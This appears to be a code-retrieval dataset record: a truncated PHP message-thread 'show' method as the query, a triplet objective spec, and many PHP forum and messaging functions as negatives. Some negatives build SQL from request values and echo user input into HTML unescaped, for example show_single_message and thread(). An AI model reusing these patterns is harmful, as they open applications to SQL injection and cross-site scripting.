$msg->markAsRead($userId, $msg->id);
}
if (isset($msg) && $msg->upload_file != null) {
$fileHelper = new FileHelper();
$fileDownloadUrl = $fileHelper->getFileDownloadURL($msg->upload_file);
}
return view('messenger.show', compact('thread', 'users', 'msg', 'thread', 'count', 'fileDownloadUrl', 'toSmeNiwas'));
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function show(Thread $thread)\n {\n }",
"public function show(Thread $thread)\n {\n //\n }",
"static function show_message($message, $message_id=NULL) {\n\t\techo '<div class=\"wrap\"><h2></h2><div class=\"updated fade '.$message_id.'\" id=\"message\"><p>' . $message . '</p></div></div>' . \"\\n\";\n\t}",
"public static function showMessage($msg)\n {\n echo \"<div class='updated fade'><p><strong>$msg</strong></p></div>\\n\";\n }",
"public function run()\r\n\t{\r\n $this->render('MessageDisplay');\r\n\t}",
"public function showMessages()\n {\n $messages = $this->getMessages();\n foreach ($messages as $message) {\n echo $message . \"\\n\";\n }\n }",
"public function show(Message $message)\n {\n //\n }",
"public function show(Message $message)\n {\n //\n }",
"public function show(Message $message)\n {\n //\n }",
"public function show(Message $message)\n {\n //\n }",
"public function show(Message $message)\n {\n //\n }",
"public function show(Message $message)\n {\n //\n }",
"public function show(Message $message)\n {\n //\n }",
"public function show(Message $message)\n {\n //\n }",
"public function showMessage($message)\n {\n ShowMessage($message);\n }",
"public function show(Message $message) {\n //\n }",
"public function showMessage()\n {\n print $this->generator->getHappyMessage() . $this->name;\n }",
"function show_message($content, $type=\"updated fade\") {\r\n if ($content)\r\n echo \"<div id=\\\"message\\\" class='$type' ><p>\" . $content . \"</p></div>\";\r\n }",
"public function displayMessage() {}",
"public function showAction($id)\n {\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('APiszczekDemoBundle:Thread')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Thread entity.');\n }\n\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->render('APiszczekDemoBundle:Thread:show.html.twig', array(\n 'entity' => $entity,\n 'delete_form' => $deleteForm->createView(),\n ));\n }",
"public function display($message);",
"public function showMessage(){\n\t\t\n\n\t\ttry {\n\n\t\t\tif(!empty($_POST)){// si un commentaire est poter\n\t\t\t\tTchatModel::setMessage($_POST[\"message\"],$_POST[\"idUsr\"]);\n\t\t\t}\n\n\t\t\t$data = TchatModel::getMessage();\n\t\t} catch (Exception $e) {\n\t\t\t$data = TchatModel::getMessage();\n\t\t\t$warning = $e->getMessage();\n\t\t}\n\t\trequire_once'ViewFrontend/tchat.php';\n\t}",
"public function show($conv_id)\n {\n Session::put('conv_id',$conv_id);\n\n return view('messages.showthread');\n }",
"function display_message($message)\r\n {\r\n Display :: normal_message($message);\r\n }",
"public function actionManageDisplayMessage()\n {\n $message = $_GET['message'];\n $this->render('manageDisplayMessage', array('message' => $message));\n }",
"public function show(Thread $thread)\n {\n if (auth()->check()) {\n event(new ThreadViewed($thread, auth()->user()));\n }\n }",
"function mentionMeShowThreadStart()\n{\n\tglobal $mybb, $mentionScript, $mentionQuickReply,\n\t$mentionedIDs, $lang, $tid, $templates;\n\n\t// we only need the extra JS and Quick Reply additions if we are allowing multiple mentions\n\tif ($mybb->settings['mention_multiple']) {\n\t\t$multi = '_multi';\n\t\teval(\"\\$mentionQuickReply = \\\"\" . $templates->get('mentionme_quickreply_notice') . \"\\\";\");\n\n\t\t$mentionedIDs = <<<EOF\n\n\t<input type=\"hidden\" name=\"mentioned_ids\" value=\"\" id=\"mentioned_ids\" />\nEOF;\n\t}\n\n\tif ($mybb->settings['mention_minify_js']) {\n\t\t$min = '.min';\n\t}\n\n\t$mentionScript = <<<EOF\n<script type=\"text/javascript\" src=\"jscripts/MentionMe/thread{$multi}{$min}.js\"></script>\n\nEOF;\n}",
"public function show($id)\n {\n //\n $thread = Thread::find($id);\n return view('threads.show', compact('thread'));\n }",
"public function viewMessageClick ()\n {\n $this->createUser();\n list ($messages, $result2) = $this->_objUser->messageShow();\n If (! empty($messages)) {\n $this->showSubViews(\"viewMessage\", $messages, $result2);\n } else {\n $message = \"No messages for you<br>Have a good day :)\";\n $this->setCustomMessage(\"NoticeMessage\", $message);\n }\n }",
"public function show($id)\n {\n $thread = Thread::find($id);\n return view ('threads.show')-> with ('thread', $thread);\n }",
"function show_single_message($id, $board){\n\t\tglobal $print, $x7s, $x7c, $db, $prefix;\n\t\t$body=\"<script language=\\\"javascript\\\" type=\\\"text/javascript\\\">\n function do_delete(url){\n if(!confirm('Vuoi davvero cancellare il messaggio?'))\n return;\n\n window.location.href=url;\n }\n </script>\n\t\t\";\n\t\t$indice=indice_board();\n\t\t$maxmsg=10;\n\t\t$navigator='';\n\t\t\n\t\tif(isset($_GET['startfrom'])){\n\t\t\t$limit=$_GET['startfrom'];\n\t\t}\n\t\telse\n\t\t\t$limit=0;\n\t\t\n\t\t$query = $db->DoQuery(\"SELECT count(*) AS total FROM {$prefix}boardmsg WHERE id='{$id}' OR father='{$id}'\");\n\t\t$row = $db->Do_Fetch_Assoc($query);\n\t\t$total = $row['total'];\n\n\t\t\n\t\t\n\t\tif($total > $maxmsg){\n\t\t\t$i=0;\n\t\t\twhile($total > 0){\n\t\t\t\tif((isset($_GET['startfrom']) && $_GET['startfrom'] == $i) || (!isset($_GET['startfrom']) && $i == 0))\n\t\t\t\t\t$navigator .= \"<a href=\\\"index.php?act=boards&board=$board[id]&message=$id&startfrom=$i\\\"><b>[\".($i+1).\"]</b></a> \";\n\t\t\t\telse\n\t\t\t\t\t$navigator .= \"<a href=\\\"index.php?act=boards&board=$board[id]&message=$id&startfrom=$i\\\">\".($i+1).\"</a> \";\n\t\t\t\t$i++;\n\t\t\t\t$total -= $maxmsg;\n\t\t\t\t\n\t\t\t}\n\t\t\t$navigator.=\"<br>\";\n\t\t}\n\t\t\n\t\t\t\n\t\t$limit_min = $limit * $maxmsg;\n\t\t$limit_max = $maxmsg;\n\t\t\n\t\t$query = $db->DoQuery(\"SELECT \tb.id AS id,\n\t\t\t\t\t\tb.father AS father,\n\t\t\t\t\t\tb.user AS user,\n\t\t\t\t\t\tb.body AS body,\n\t\t\t\t\t\tb.board AS board,\n\t\t\t\t\t\tb.time AS time,\n\t\t\t\t\t\tb.replies AS replies,\n\t\t\t\t\t\tu.avatar AS avatar,\n\t\t\t\t\t\tb.anonymous as anonymous\n\t\t\t\t\tFROM {$prefix}boardmsg b, {$prefix}users u\n\t\t\t\t\tWHERE\tb.user = u.username AND\n\t\t\t\t\t\t(b.id='{$id}' OR father='{$id}')\n\t\t\t\t\t\tORDER BY time DESC LIMIT $limit_min, $maxmsg\");\n\t\t\n\t\t//Head message\n\t\t$unread='';\n\t\t$unreads = get_unread();\n\n\t\tif(!$board['readonly'] || checkIfMaster()){\n\t\t\t$body .=\"<a href=./index.php?act=boards&send=\".$board['id'].\"&reply=\".$id.\">Replica</a><br>\";\n\t\t}\n\t\t$body.=\"<a href=\\\"index.php?act=boards&board=\".$board['id'].\"\\\">Torna alla board</a><br>\";\n\t\t\n\t\t$body .= $navigator;\n\t\t$object = \"\";\n\t\t$url_regexp = \"/http(s)?:\\/\\/[^[:space:]]+/i\";\n\n\t\t$body .=\"<table width=\\\"100%\\\" cellspacing=0>\";\n\n\t\twhile($row = $db->Do_Fetch_Assoc($query)){\n\t\t\t$avatar=\"<br>\".date(\"j/n/Y G:i\", $row['time']);\n\t\t\tif($row['avatar']!=''){\n\t\t\t\t$avatar.=\"<br><img src=\\\"$row[avatar]\\\" width=\\\"100\\\" height=\\\"100\\\">\";\n\t\t\t}\n\t\t\t\n\t\t\t$unread='';\n\t\t\tif(isset($unreads[$row['id']])){\n\t\t\t\t$unread = \"<b>(Nuovo)</b>\";\n\t\t\t\t$db->DoQuery(\"DELETE FROM {$prefix}boardunread WHERE id='{$row['id']}' AND user='{$x7s->username}'\");\n\t\t\t}\n\t\t\t\n\t\t\t$nb = board_msg_split($row['body']);\n\t\t\t$msg = $nb[0];\n\t\t\t$object = $nb[1];\n\n\t\t\t$user = \"<a onClick=\\\"\".\n\t\t\t\tpopup_open(500, 680, \"index.php?act=sheet&pg={$row['user']}\",\n\t\t\t\t\t\t'sheet_other').\"\\\" >\".$row['user'].\"</a>\".$avatar;\n\n\t\t\tif ($row['anonymous']) {\n\t\t\t\tif (checkIfMaster()) {\n\t\t\t\t\t$user = \"<a onClick=\\\"\".\n\t\t\t\t\t\tpopup_open(500, 680, \"index.php?act=sheet&pg={$row['user']}\",\n\t\t\t\t\t\t\t\t'sheet_other').\"\\\" >\".$row['user'].\"</a><br>(anonimo)\".$avatar;\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\t$user = \"Anonimo\";\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\t$body.=\"<tr><td class=\\\"msg_row\\\"><b>Utente:</b> $user</td><td class=\\\"msg_row\\\"><b>Oggetto:</b> \".$object.\" \".$unread;\n\t\t\t$msgid=$row['id'];\n\t\t\t$user=$row['user'];\n\t\t\t\n\t\t\tif(($user == $x7s->username && !$board['readonly']) || checkIfMaster()){\n\t\t\t\t$body .=\" <a href=./index.php?act=boards&send=\".$board['id'].\"&modify=\".$msgid.\">[Modify]</a>\";\n\t\t\t}\n\t\t\tif(checkIfMaster()){\n\t\t\t\t$body .=\" <a href=\\\"#\\\" onClick=\\\"javascript: do_delete('./index.php?act=boards&delete=\".$msgid.\"')\\\">[Delete]</a>\";\n\t\t\t}\n\n\t\t\t$msg = preg_replace($url_regexp, '<a href=\"\\\\0\" target=\"_blank\">\\\\0</a>', $msg);\t\n\t\t\t$body.= \"<br><br>\".$msg.\"<br><br><br><br></td></tr>\\n\";\n\t\t}\n\n\t\t$body .= \"</table>\";\n\t\t\n\t\tif(!$board['readonly'] || checkIfMaster()){\n\t\t\t$body .=\"<br><br><a href=./index.php?act=boards&send=\".$board['id'].\"&reply=\".$id.\">Replica</a><br>\";\n\t\t}\n\t\t\n\t\t$body.=\"<a href=\\\"index.php?act=boards&board=\".$board['id'].\"\\\">Torna alla board</a><br>\";\n\t\t\n\t\t$body.=$navigator;\n\t\t$head = \"Board \".$board['name'].\" messaggio: \".$object;\n\t\t\n\t\t$print->board_window($head,$body,$indice);\n\t\t\n\t}",
"public function show(MessageThreadMessage $message)\n {\n $message->load(['attachments']);\n return response()->json($message);\n }",
"function thread( $args )\n\t{\n\t $thread_id = (int)$args['id'];\n\t \n\t // check for existance, use threads model\n\t $threads_model = $this->app->\n\t model('forum_threads','forum/models');\n\t \n\t\t// boards model\n\t\t$boards_model = $this->app->\n\t\t model('forum_boards', 'forum/models'); \n\t \n\t // posts model\n\t $posts_model = $this->app->\n\t model('forum_posts','forum/models');\n\t \n\t // get item\n\t $thread = $threads_model->get_item( $thread_id );\n\t $thread = ( count($thread) > 0 ) ? $thread[0] : null;\n\t \n\t \n\t // imprtant stuffs\n\t if( $thread == null ){\n\t \n\t \t// redirect\n\t \t$this->app->redirect('forum');\n\t }\n\t \n\t \n // get board\n $board = $boards_model->get_item((int)$thread['board_id']);\n $board = $board[0];\n \n // set page title\n $this->view->add('page_title',\n 'Viewing thread: ' . $thread['name'] );\n \n // set index action\n $this->view->add('index_action',\n $this->app->form_path('forum'));\n \n // set board action\n $this->view->add('board_action',\n $this->app->form_path('forum/board/'.$board['id']));\n \n // good\n $this->view->add('board_name', $board['name'] );\n\t \n\t // need an action message\n\t $action_message = null;\n\t \n\t // init text area values\n\t $name_value = '';\n\t $post_value = '';\n\t \n\t \n\t // check for post\n\t if( $_SERVER['REQUEST_METHOD'] == 'POST' &&\n\t \tisset($_POST['name']) &&\n\t \t$_POST['name'] != null &&\n\t \tisset($_POST['post']) &&\n\t \t$_POST['name'] != null \n\t ){\n\t \t\n\t \t// add success\n\t \t$success = $posts_model->new_item( \n\t \t\t$this->app->user->get_user_id(), $thread_id, $_POST );\n\t \t\n\t \t// test for success\n\t \tif( $success ){\n\t \t\n\t \t\t// increment reply count\n\t \t\t$threads_model->increment_reply( $thread_id );\n\t \t\t\t \t\n\t \t\t$action_message = 'Post successfully added.';\n\t \t} else {\n\t \t\t$action_message = 'There was an error adding your post';\n\t \t}\n\t \t\n\t } elseif( $_SERVER['REQUEST_METHOD'] == 'POST' ) {\n\t \t\n\t \t$action_message = 'One or more required fields was not\n\t \t\tprovided';\n\t \t\t\n\t \t// update values\n\t\t\t$name_value = 'value=\"'.$_POST['name'].'\"';\n\t\t\t$post_value = $_POST['post'];\n\t }\n\t \n\t \n\t // add them\n\t $this->view->add('name_value',$name_value);\n\t $this->view->add('post_value',$post_value);\n\t \n\t // add actio message\n\t $this->view->add('action_message',$action_message);\n\t \n\t // get limits\n\t $limit = 10;\n\t \n\t // get page\n\t $page = 0;\n\t if( isset($_GET['p']) ){\n\t $page = (int)$_GET['p'];\n\t }\n\t \n\t // get replies\n\t $posts_result = $posts_model->limit($limit)->page($page)->\n\t get_all($thread_id);\n\t \n\t //\n\t $this->view->add('posts_result',$posts_result);\n\t \n\t $reply_count = ($thread==null) ? 0 :(int)$thread['reply_count'];\n\t \n\t // add paging\n\t $this->view->add('page_info',array(\n\t // posts count\n\t 'page_count' => (int)(($reply_count) / $limit)+1,\n\t 'this_page' => $page\n\t ));\n\t \n\t \n\t // add actions\n\t $this->view->add('page_action',\n\t $this->app->form_path('forum/thread/'.$thread_id.'?p='));\n\t \n\t $this->view->add('reply_action',$this->app->\n\t form_path('forum/thread/'.$thread_id.'?p='.$page));\n\t \n\t \n\t // add to the view\n\t $this->view->add('thread_result',$thread);\n\t \n\t \n\t // get wysiwyg extension\n\t $wysiwyg = $this->app->extension('wysiwyg');\n\t \n\t}",
"function show()\n {\n $messages = $this->Session->read( 'messages' );\n $html = '';\n \n // Add a div for each message using the type as the class\n foreach ($messages as $type => $msgs)\n {\n foreach ($msgs as $msg)\n {\n if (!empty($msg)) {\n $html .= \"<div class='$type'><p>$msg</p></div>\";\n } \n }\n }\n $html .= \"</div>\";\n \n // Clear the messages array from the session\n $this->Session->del( 'messages' );\n \n return $this->output( $html );\n }",
"public function show($id)\n {\n try {\n $thread = Thread::findOrFail($id);\n } catch (ModelNotFoundException $e) {\n Session::flash('error_message', 'The thread with ID: ' . $id . ' was not found.');\n return redirect()->route('messages');\n }\n\n $users = User::whereIn('id', $thread->participantsUserIds())->get();\n $senderAvatar = str_replace('storage/owner/', 'img/cache/small-avatar/', Storage::url($users[1]->avatar_name));\n $cafe = Cafe::where('owner_id', Owner::where('user_id', $users[0]->id)->first()->id)->first();\n $cafeLogo = str_replace('storage/logo/', 'img/cache/small-logo/', Storage::url($cafe->logo_path));\n $thread->markAsRead(Auth::id());\n $threads = Thread::forUser(Auth::id())->latest('updated_at')->get();\n foreach ($threads as $key => $list) {\n $usersThread = User::whereIn('id', $list->participantsUserIds())->get();\n $threads[$key]->users = $usersThread;\n $threads[$key]->senderAvatar = str_replace('storage/owner/', 'img/cache/small-avatar/', Storage::url($usersThread[1]->avatar_name));\n $cafe = Cafe::where('owner_id', Owner::where('user_id', $users[0]->id)->first()->id)->first();\n $threads[$key]->cafeLogo = str_replace('storage/logo/', 'img/cache/small-logo/', Storage::url($cafe->logo_path));\n }\n return view('messenger.index', compact('thread', 'users', 'cafeLogo', 'senderAvatar', 'threads'));\n }",
"function ajax_message() {\n\t\t$message_path = $this->get_message_path();\n\t\t$query_string = _http_build_query( $_GET, '', ',' );\n\t\t$current_screen = wp_unslash( $_SERVER['REQUEST_URI'] );\n\t\t?>\n\t\t<div class=\"jetpack-jitm-message\"\n\t\t\t data-nonce=\"<?php echo wp_create_nonce( 'wp_rest' ); ?>\"\n\t\t\t data-message-path=\"<?php echo esc_attr( $message_path ); ?>\"\n\t\t\t data-query=\"<?php echo urlencode_deep( $query_string ); ?>\"\n\t\t\t data-redirect=\"<?php echo urlencode_deep( $current_screen ); ?>\"\n\t\t></div>\n\t\t<?php\n\t}",
"function wpbar_message($message) {\r\n\techo \"<div id=\\\"message\\\" class=\\\"updated fade\\\"><p>$message</p></div>\\n\";\r\n}",
"public function _showDisplayedMessage($message,$asString=false){\n\t\treturn $this->_showMessage($message->getContent(),$message->getType(),$message->getTimerInterval(),$message->getDismissable(),true,$asString);\n\t}",
"public function view(User $user, Thread $thread)\n {\n //da implementare\n }",
"private function _writeToScreen($message) {\n echo $message . PHP_EOL;\n }",
"public function show(Thread $thread)\n {\n return view('thread.single', compact('thread'));\n }",
"public function show(Messages $messages)\n {\n //\n }",
"public function actionMsg($message = 'hello world')\n { \n echo \"print with echo : $message ?\" . \"\\n\";\n $this->stdout(\"\\n print with STDOUT : $message?\\n\", Console::BOLD); // Prints a string to STDOUT\n //If you need to build string dynamically combining multiple styles it's better to use ansiFormat:\n echo $this->ansiFormat(\"\\n print with ANSI : $message?\\n\", Console::FG_YELLOW, Console::UNDERLINE); // Formats a string with ANSI codes\n $this->stderr(\"\\n print with STDERR : $message?\\n\", Console::FG_YELLOW, Console::UNDERLINE); // Prints a string to STDERR\n }",
"function message()\r\n\t{\r\n\t\tglobal $IN, $INFO, $SKIN, $ADMIN, $std, $MEMBER, $GROUP;\r\n\t\t$ibforums = Ibf::app();\r\n\r\n\t\t$this->common_header('domessage', 'Board Message', 'You may change the configuration below. HTML is enabled, and BBCode will be enabled in later versions.');\r\n\r\n\t\t$ADMIN->html .= $SKIN->add_td_row(array(\r\n\t\t \"<b>Turn the message system off?</b>\",\r\n\t\t $SKIN->form_yes_no(\"global_message_on\", $INFO['global_message_on'])\r\n\t\t ));\r\n\r\n\t\t$ADMIN->html .= $SKIN->add_td_row(array(\r\n\t\t \"<b>The message to display</b>\",\r\n\t\t $SKIN->form_textarea(\"global_message\", $INFO['global_message'])\r\n\t\t ));\r\n\r\n\t\t$this->common_footer();\r\n\r\n\t}",
"function _show_topic() {\n\n\t\t$_posts_per_page = !empty(module('forum')->USER_SETTINGS['POSTS_PER_PAGE']) ? module('forum')->USER_SETTINGS['POSTS_PER_PAGE'] : module('forum')->SETTINGS['NUM_POSTS_ON_PAGE'];\n\n\t\tif (!module('forum')->SETTINGS['ALLOW_PRINT_TOPIC']) {\n\t\t\treturn module('forum')->_show_error('Print topic is disabled');\n\t\t}\n\n\t\tmain()->NO_GRAPHICS = true;\n\n\t\t$topic_id = intval($_GET['id']);\n\n\t\t// Get topic info\n\t\t$topic_info = db()->query_fetch('SELECT * FROM '.db('forum_topics').' WHERE id='.intval($topic_id).' LIMIT 1');\n\t\tif (empty($topic_info)) {\n\t\t\treturn '';\n\t\t}\n\t\t?>\n<html>\n<head>\n<title><?php echo $topic_info['name']?></title>\n<style type=\"text/css\">\n<!--\ntd, p, div\n{\n\tfont: 10pt verdana;\n}\n.smallfont\n{\n\tfont-size: 11px;\n}\n.tborder\n{\n\tborder: 1px solid #808080;\n}\n.thead\n{\n\tbackground-color: #EEEEEE;\n}\n.page\n{\n\tbackground-color: #FFFFFF;\n\tcolor: #000000;\n}\n-->\n</style>\n</head>\n<body class=\"page\">\n\t\t<?php\n\n\t\techo \"<a href='\".process_url(\"./?object=forum&action=view_topic&id=\".$topic_id).\"'><b>\".$topic_info[\"name\"].\"</b></a><br/>\".PHP_EOL;\n\t\t// Prepare SQL query\n\t\t$sql = 'SELECT * FROM '.db('forum_posts').' WHERE topic='.$topic_id;\n\t\t$order_by = ' ORDER BY created ASC ';\n\t\tlist($add_sql, $pages, $topic_num_posts) = common()->divide_pages($sql, null, null, $_posts_per_page);\n\n\t\tif (!empty($pages))\n\t\t {\n\t\t\techo '<br /><small>Pages: '.$pages.'</small>'.PHP_EOL;\n\t\t }\n\n\t\techo '<BR>';\n\t\t// Init bb codes module\n\t\t$BB_OBJ = _class('bb_codes');\n\t\t// Process posts\n\t\t$Q = db()->query($sql. $order_by. $add_sql);\n\t\twhile ($post_info = db()->fetch_assoc($Q))\n\t\t {\n\t\t ?>\n<table class=\"tborder\" cellpadding=\"6\" cellspacing=\"1\" border=\"0\" width=\"100%\">\n <tr>\n\t<td class=\"page\">\n\t\t<table cellpadding=\"0\" cellspacing=\"0\" border=\"0\" width=\"100%\">\n\t\t <tr valign=\"bottom\">\n\t\t\t<td style=\"font-size:14pt\"><?php echo _prepare_html($post_info['user_name'])?></td>\n\t\t\t<td class=\"smallfont\" align=\"right\"><?php echo _format_date($post_info['created'], 'long')?></td>\n\t\t </tr>\n\t\t</table>\n\t\t<hr/>\n\t\t<div><?php echo $BB_OBJ->_process_text($post_info['text'])?></div>\n\t</td>\n </tr>\n</table>\n<br/>\n\t\t <?php\n\t\t }\n\t\techo '</body></html>';\n\t}",
"public function viewtopicAction($thread_id){\n\t\t$per_page = 20;\n\n\t\t# Chargement du manager\n\t\t$this->load_manager('forum', 'base_app');\n\n\t\t# On commpte le nombre de message\n\t\t$NbMessage = $this->app->db->count(PREFIX . 'forum_message', array('thread_id =' => $thread_id));\n\n\t\t# On recupere les messages\n\t\t$Messages = $this->manager->forum->getMessagesByThreadId($thread_id, $per_page, getOffset($per_page));\n\n\t\t# Recuperation infos topic\n\t\t$Thread = new Basethread($this->app->db->get_one(PREFIX . 'forum_thread', array('id =' => $thread_id)));\n\n\t\t# On traite la pagination\n\t\t$Pagination = new Zebra_Pagination();\n\t\t$Pagination->records($NbMessage);\n\t\t$Pagination->records_per_page($per_page);\n\n\t\tif( $this->isModerateur() == true ):\n\t\t\t$this->app->smarty->assign('Forums', $this->manager->forum->getAllForums());\n\t\tendif;\n\t\t\n\t\t# Envoie a smarty\n\t\t$this->app->smarty->assign(array(\n\t\t\t'ctitre'\t\t=>\t'Forum :: ' . $Thread->titre,\n\t\t\t'Messages'\t\t=>\t$Messages,\n\t\t\t'Thread'\t\t=>\t$Thread,\n\t\t\t'Pagination'\t=>\t$Pagination,\n\t\t\t'Forum'\t\t\t=>\tnew myObject( $this->app->db->get_one(PREFIX . 'forum', array('id =' => $Thread->forum_id)) )\n\t\t));\n\n\t\tif( $_SESSION['utilisateur']['id'] != 'Visiteur' ):\n\t\t\t$this->getFormValidatorJs();\n\n\t\t\t$this->app->load_web_lib('markitup/skins/simple/style.css','css');\n\t\t\t$this->app->load_web_lib('markitup/bbcode/style.css','css');\n\t\t\t$this->app->load_web_lib('markitup/jquery.markitup.js','js');\n\t\t\t$this->app->load_web_lib('markitup/bbcode/set.js','js');\n\t\tendif;\n\t\t\n\t\t# Generation de la page\n\t\treturn $this->app->smarty->fetch(BASE_APP_PATH . 'view' . DS . 'forum' . DS . 'viewtopic.tpl');\n\n\t}",
"public function showMessage($msg){\n// $message += ($msg +\"<br/>\");\n// require APP . 'view/_templates/header.php';\n// require APP . 'view/home/message.php';\n// require APP . 'view/post/index.php';\n// require APP . 'view/_templates/footer.php';\n// return;\n }",
"function show_message($type,$message) {\n\t\treturn $message;\n\t}",
"public function run()\r\n\t{\r\n\t\treturn 'faz de conta...';\r\n\t}",
"public function newAction()\n {\n $entity = new Thread();\n $form = $this->createCreateForm($entity);\n\n return $this->render('APiszczekDemoBundle:Thread:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }",
"function show_message( $message, $errormsg = false )\n\t{\n\t\tif ( $errormsg ) {\n\t\t\techo '<div id=\"message\" class=\"error\">';\n\t\t} else {\n\t\t\techo '<div id=\"message\" class=\"updated fade\">';\n\t\t}\n\t\techo \"<p><strong>$message</strong></p></div>\";\n\t}",
"static private function showMessages() {\n if (isset($_SESSION['messages'])) {\n\n $messages = new View(\"global.messages\", array(\"messages\" => $_SESSION['messages']));\n echo $messages->getHtml();\n // du coup on peut supprimer les messages\n unset($_SESSION['messages']);\n }\n }",
"function atu_showthread()\n{\n\tglobal $mybb, $atujq, $atujs, $atu_link, $tid, $fid;\n\n\tif(can_auto_update())\n\t{\n\t\n\t\t$atujq = '<script src=\"http://code.jquery.com/jquery-latest.js\"></script>\n\t<script>\n\tjQuery.noConflict();\n\t</script>';\n\t\t\n\t\t$atujs = '<script type=\"text/javascript\">\n\tvar time = '.TIME_NOW.';\n\tvar refreshId = setInterval(function()\n\t{\n\t\tjQuery.get(\\'getnewposts.php?tid='.$tid.'}×tamp=\\'+time,\n\t\tfunction(result) {\n\t\t\tjQuery(\\'#autorefresh\\').append(\\'<span style=\"display: none;\" class=\"new-post\" name=\"post[]\">\\'+result+\\'</span>\\');\n\t\t\tjQuery(\\'#autorefresh\\').find(\".new-post:last\").fadeIn(\\'slow\\');\n\t\t});\n\n\t\ttime = Math.round((new Date()).getTime() / 1000);\n\n\t}, '.intval($mybb->settings['atu_refreshrate']).');\n\t</script>';\n\t} else {\n\t\t$atujq = '';\n\t\t$atujs = '';\n\t}\n\n\tif($mybb->usergroup['cancp'])\n\t{\n\t\t$on = true;\n\t\t$display = true;\n\t\t\n\t\tif($mybb->settings['atu_tf_wlbl'] != 'all')\n\t\t{\n\t\t\t$perms = explode(\"|\",$mybb->settings['atu_tf_wlbl']);\n\t\t\t$ids = explode(\",\",$perms[2]);\n\t\t\t\n\t\t\tif($perms[0] == 'threads')\n\t\t\t{\n\t\t\t\t$thread_in_list = in_array($tid,$ids);\n\t\t\t\t\n\t\t\t\tif($thread_in_list && $perms[1] == 'blacklist')\n\t\t\t\t{\n\t\t\t\t\t$on = false;\n\t\t\t\t} elseif(!$thread_in_list && $perms[1] == 'whitelist') {\n\t\t\t\t\t$on = false;\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\t$display = false;\n\t\t\t}\n\t\t}\n\t\tif($display)\n\t\t{\n\t\t\tif($on)\n\t\t\t{\n\t\t\t\t$atu_link = '<a href=\"showthread.php?tid='.$tid.'&toggle_atu=true&my_post_key='.$mybb->post_code.'\">Turn off auto thread updating in this thread</a><br />';\n\t\t\t} else {\n\t\t\t\t$atu_link = '<a href=\"showthread.php?tid='.$tid.'&toggle_atu=true&my_post_key='.$mybb->post_code.'\">Turn on auto thread updating in this thread</a><br />';\n\t\t\t}\n\t\t}\n\t}\n}",
"function Forum_showThread(&$PAGEDATA, &$id) {\n\trequire_once SCRIPTBASE.'ww.incs/bb2html.php';\n\tWW_addCSS('/ww.plugins/forum/frontend/forum.css');\n\t$script='$(function(){$(\".ratings\").ratings();});';\n\tWW_addScript('ratings/ratings.js');\n\tWW_addInlineScript($script);\n\t$thread=dbRow('select * from forums_threads where id='.$id);\n\t$forum_id=$thread['forum_id'];\n\tif (!$thread || !count($thread)) {\n\t\treturn '<em class=\"error\">Error: this thread does not exist!</em>';\n\t}\n\t$c=Forum_getForumBreadcrumbs($PAGEDATA, $thread['forum_id'])\n\t\t.' » <a href=\"'.$PAGEDATA->getRelativeUrl().'?forum-f='.$forum_id\n\t\t.'&forum-t='.$id.'\">'.htmlspecialchars($thread['name']).'</a>';\n\t$c.='<table id=\"forum-posts\"><tr><th>Author</th><th>Post</th></tr>';\n\t$posts=dbAll(\n\t\t'select * from forums_posts where thread_id='\n\t\t.$id.' and moderated = 1 order by created_date'\n\t);\n\tforeach ($posts as $post) {\n\t\t$user=User::getInstance($post['author_id']);\n\t\tif ($user) {\n\t\t\t$user_name=$user->get('name');\n\t\t\t$user_id=$post['author_id'];\n\t\t\t$user_email=$user->get('email');\n\t\t}\n\t\telse {\n\t\t\t$user_name='unknown';\n\t\t\t$user_id=0;\n\t\t\t$user_email='';\n\t\t}\n\t\t$c.='<tr p-data=\\'({\"id\":'.$post['id']\n\t\t\t.',\"cdate\":\"'.$post['created_date'].'\"'\n\t\t\t.',\"uid\":'.$post['author_id'].'})\\'>'\n\t\t\t.'<td class=\"user-details\"><a name=\"forum-c-'.$post['id']\n\t\t\t.'\"></a>'.htmlspecialchars($user_name).'</td>'\n\t\t\t.'<td><div class=\"post-header\">Posted: '\n\t\t\t.Core_dateM2H($post['created_date'], 'datetime')\n\t\t\t.'</div></td></tr>';\n\t\t$count_posts=$user_id\n\t\t\t?dbOne(\n\t\t\t\t'select count(id) from forums_posts where author_id='.$user->get('id'),\n\t\t\t\t'count(id)'\n\t\t\t)\n\t\t\t:0;\n\t\t$emailHash=md5(trim(strtolower($user_email)));\n\t\t\n\t\t$c.='<tr><td><img class=\"avatar\" data-uid=\"'.$user_id.'\" />'\n\t\t\t. '<span>Posts: '.$count_posts.'</span>'\n\t\t\t. '<p>Helpfulness:'\n\t\t\t. '<span class=\"ratings\" id=\"forum_user_'.$user_email.'\"'\n\t\t\t. ' type=\"forum_user\">rating</span></p>';\t\t\t\t\n\n\t\t$c.='</td><td class=\"post\">'.bb2html($post['body'])\n\t\t\t.'</td></tr>';\n\t}\n\t$c.='</table>';\n\t// { post form\n\tif (isset($_SESSION['userdata']) && $_SESSION['userdata']['id']) {\n\t\t$c.='<div id=\"forum-post-submission-form\"><script defer=\"defer\">var forum_id='\n\t\t\t.$forum_id.',forum_thread_id='.$id.';</script></div>';\n\t\tWW_addScript('//cdn.ckeditor.com/4.4.3/standard/ckeditor.js');\n\t\tWW_addScript('//cdn.ckeditor.com/4.4.3/standard/adapters/jquery.js');\n\t\tWW_addScript('forum/frontend/forum.js');\n\t}\n\telse {\n\t\t$c.='<div class=\"forum-not-logged-in\">In order to post to this thread,'\n\t\t\t.' you must <a href=\"/_r?type=loginpage\">login'\n\t\t\t.'</a> first.</div>';\n\t}\n\t// }\n\treturn $c;\n}",
